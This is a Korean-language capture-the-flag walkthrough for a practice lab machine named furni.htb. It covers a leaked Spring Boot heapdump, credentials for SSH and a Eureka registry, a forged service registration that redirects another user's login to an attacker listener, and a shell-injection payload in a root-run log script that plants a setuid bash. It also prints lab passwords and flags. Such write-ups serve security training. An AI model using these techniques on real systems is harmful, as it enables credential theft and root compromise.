초기 진입: 포트 스캔 및 서비스 식별
타겟 시스템의 접근을 시작하기 위해 nmap을 사용하여 열린 포트를 스캔했습니다.
nmap -sV -sC 10.10.11.66
결과로 22번 포트(SSH)와 80번 포트(HTTP)가 열려 있는 것으로 확인되었습니다. 웹 서버는 nginx 1.18.0이며, 리다이렉션된 주소인 furni.htb로 접속할 수 있었습니다.
웹 경로 탐색 및 정보 유출
dirsearch를 이용해 디렉터리 구조를 스캔한 결과, /actuator/heapdump 엔드포인트가 노출되어 있음을 발견했습니다. 이는 스프링 부트 애플리케이션에서 내부 상태 정보를 다운로드할 수 있는 보안 취약점입니다.
Heapdump 분석 및 인증 정보 획득
다운로드한 heapdump 파일을 JDumpSpider 도구로 분석하면, 사용자 계정 정보가 포함되어 있음을 확인할 수 있습니다:
- 사용자:
oscar190 - 비밀번호:
0sc@r190_S0l!dP@sswd
이 계정으로 ssh에 접속하면 성공적으로 로그인 가능하며, 추가적인 사용자 계정 miranda-wise도 존재하는 것을 확인했습니다.
Eureka 서버 접근 및 포트 전달
시스템 내부에서 8761 포트가 열려 있음을 발견했으며, 이는 스프링 클라우드의 Eureka 서비스 등록자임을 시사합니다. heapdump 파일에서 해당 서비스의 자격 증명을 찾았습니다:
- 사용자:
EurekaSrvr - 비밀번호:
0scarPWDisTheB3st
이 정보를 사용해 직접 접속하거나, ssh를 통해 포트 포워딩을 수행할 수 있습니다:
ssh oscar190@10.10.11.66 -L 8761:127.0.0.1:8761
악성 서비스 등록 및 세션 확보
Netflix Eureka의 서비스 등록 메커니즘을 활용하여, 자신만의 서비스를 위조 등록합니다. 아래 요청을 통해 USER-MANAGEMENT-SERVICE를 등록하고, 공격자가 제어할 수 있는 포트 8081을 오픈합니다:
curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE \
-H 'Content-Type: application/json' \
-d '{
"instance": {
"instanceId": "USER-MANAGEMENT-SERVICE",
"hostName": "10.10.14.2",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.14.2",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"secureVipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
등록 후, nc -nlvp 8081로 포트를 감시하면, miranda-wise 계정의 로그인 정보가 전달되는 것을 확인할 수 있습니다:
- 사용자:
miranda-wise - 비밀번호:
IL!veT0Be&BeT0L0ve
이 계정으로 ssh에 접속하면 첫 번째 플래그를 획득합니다:
7cb8f5607375cc041a230b5e13960519
권한 상승: 로그 분석 스크립트의 취약점 활용
sudo -l 명령으로 권한 상승 여부를 확인했지만, 특별한 권한은 없었습니다. 계획 작업이나 커널 버전도 공격에 적합하지 않았습니다. 그러나 환경 변수나 기타 정보는 유출되지 않았습니다.
이때 pspy를 업로드하여 지속적으로 실행되는 프로세스를 모니터링했습니다. 결과적으로 /opt/log_analyse.sh 스크립트가 root 권한으로 정기적으로 실행됨을 확인했습니다.
스크립트는 다음과 같은 구조로 작동합니다:
/bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
이 스크립트는 로그 파일을 분석하여 성공/실패 로그, HTTP 상태 코드, 오류 메시지를 요약합니다. 특히, analyze_http_statuses() 함수 내에서 [[ "$existing_code" -eq "$code" ]] 형식의 조건문이 사용되며, 이는 $code 값이 쉘 삽입 구문을 포함할 경우 명령이 먼저 실행됩니다.
Shell 인젝션을 통한 권한 상승
공격자는 application.log 파일을 수정하여, 특정 오류 메시지에 악성 명령을 삽입했습니다:
rm application.log
echo 'HTTP Status: x[$(cp /bin/bash /tmp/bash; chmod u+s /tmp/bash)]' >> application.log
이 로그가 스크립트에 의해 처리될 때, $(...) 안의 명령이 실행되어 /tmp/bash에 setuid 속성이 부여됩니다. 이후 /tmp/bash를 실행하면 루트 권한을 가진 쉘을 얻을 수 있습니다.
최종적으로 두 번째 플래그를 획득합니다:
663ab1925ca8b6fd8425725524a2f919